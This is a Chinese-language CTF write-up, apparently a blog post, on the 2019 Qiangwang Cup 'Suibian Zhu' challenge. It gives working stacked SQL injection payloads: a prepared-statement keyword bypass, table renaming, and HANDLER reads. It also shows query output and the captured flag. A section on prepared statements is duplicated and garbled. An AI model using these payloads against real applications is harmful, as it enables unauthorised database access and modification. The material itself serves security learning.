• [强网杯 2019]随便注


    这是一道来自强网杯的题目

    第一回合 常规测试

    查看页面信息

    supersqli_1

    注入类型判断:

    1'   			# 报错
    1'--+  			# 正常且为True
    1' and 1=1 --+  # 正常且为True
    1' and 1=2 --+  # 正常且为False
    

    判断列数

    1' order by 3--+	# 报错
    

    一共3列

    获取相关信息

    0' union select database(), user() --+ # 报错
    

    supersqli_5

    过滤了select,无法通过大小写绕过

    几经尝试无果,只能求助于百度

    第二回合 花式注入

    所谓堆叠注入,就是一次性执行多条查询语句

    获取数据库

    ?inject=1';show databases;--+

    [OUTPUT]:
    array(1) {
      [0]=>
      string(11) "ctftraining"
    }
    
    array(1) {
      [0]=>
      string(18) "information_schema"
    }
    
    array(1) {
      [0]=>
      string(5) "mysql"
    }
    
    array(1) {
      [0]=>
      string(18) "performance_schema"
    }
    
    array(1) {
      [0]=>
      string(9) "supersqli"
    }
    
    array(1) {
      [0]=>
      string(4) "test"
    }
    

    看到了所有的数据库

    获取数据表

    ?inject=1';show tables;--+

    [OUTPUT]:
    array(1) {
      [0]=>
      string(16) "1919810931114514"
    }
    
    array(1) {
      [0]=>
      string(5) "words"
    }
    

    查看列信息

    ?inject=1';show columns from `1919810931114514`; --+
    [OUTPUT]:
    array(6) {
      [0]=>
      string(4) "flag"
      [1]=>
      string(12) "varchar(100)"
      [2]=>
      string(2) "NO"
      [3]=>
      string(0) ""
      [4]=>
      NULL
      [5]=>
      string(0) ""
    }
    

    方法一:绕过select

    如果无法使用select,还是获得不了flag,可以通过预编译的方式绕过对select的限制。

    SQL 语句的执行处理
    1、即时 SQL
      一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下:

      1. 词法和语义解析;
      2. 优化 SQL 语句,制定执行计划;
      3. 执行并返回结果;
    如上,一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL)。

    2、预处理 SQL
      但是,绝大多数情况下,某需求某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
      所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。
      预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。

      1. 词法和语义解析;
      2. 优化 SQL 语句,制定执行计划;
      3. 执行并返回结果;
    如上,一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL)。
      4.
      5. 2、预处理 SQL
      但是,绝大多数情况下,某需求某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
      所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。
      预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。

    预处理流程

    SET;									# 用于设置变量名和值
    PREPARE stmt_name FROM preparable_stmt;	# 用于预备一个语句,并赋予名称,以后可以引用该语句
    EXECUTE stmt_name;			 			# 执行语句
    {DEALLOCATE | DROP} PREPARE stmt_name;	# 用来释放掉预处理的语句
    

    构建payload:

    -1';
    set @sql=CONCAT('se','lect * from `1919810931114514`;');
    prepare stmt from @sql;
    execute stmt;
    
    [OUTPUT]: strstr($inject, "set") && strstr($inject, "prepare")
    

    暗示setprepare关键词被拦截,但是strstr函数对大小写敏感,尝试使用大写绕过:

    array(1) {
      [0]=>
      string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
    }
    

    获得flag

    方法二: 修改表名

    原题目查询的数据表为words。既然没过滤 alertrename,那就可以把表和列改名。先把 words 改为其他,再把1919810931114514改为 words,然后把新的 words 表里的 flag 列改为 id ,这样就可以直接查询 flag 了

    payload如下:

    -1';
    rename table `words` to `test`;
    rename table `1919810931114514` to `words`;
    alter table `words` change `flag` `id` varchar(100);
    show columns from words;--+
    # ALTER TABLE tiger (表名) CHANGE tigername(要修改的列) name (修改后的列名) VARCHAR(20)(类型);
    

    使用 /?inject=1' or 1='1 访问一下即可获得 flag

    方法三: handler

    mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

    HANDLER tbl_name OPEN [ [AS] alias]
    # 打开一张表,无返回结果,实际上声明了一个名为tb1_name的句柄。
    HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
        [ WHERE where_condition ] [LIMIT ... ]
    HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
        [ WHERE where_condition ] [LIMIT ... ]
    HANDLER tbl_name READ { FIRST | NEXT }
        [ WHERE where_condition ] [LIMIT ... ]
    # 获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
    HANDLER tbl_name CLOSE
    # 关闭打开的句柄。
    

    使用payload:

    1';
    handler `1919810931114514` open;
    handler `1919810931114514` read first;-- +
    

    最后

    原题目因为使用multi_query()执行一条或多条sql语句,然后将结果全部输出,才会出现这种漏洞。

    MySQL中反引号和单引号的区别与用法

    1. MySql 中用一对反引号来标注 SQL 语句中的标识,如数据库名、表名、字段名
    2. 引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值
      例如:
    select * from `username` where `name`="peri0d"
    

    参考:

    2019强网杯"随便注"学习

    [强网杯 2019] 随便注

    MySQL的SQL预处理

    mysql查询语句-handler

  • 相关阅读:
    用一个变量表示 ----------"序号,名称,价格"
    11.3 字典复习
    python闭包使用
    Selenium with Python使用心得
    laravel队列使用
    display:inline-block笔记
    python mysql设置当前连接默认的字符集
    lavavel门面(facade)分析
    系统软件漏洞修复最佳实践
    记一次浮点数比较
  • 原文地址:https://www.cnblogs.com/chalan630/p/12583667.html
Copyright © 2020-2023  润新知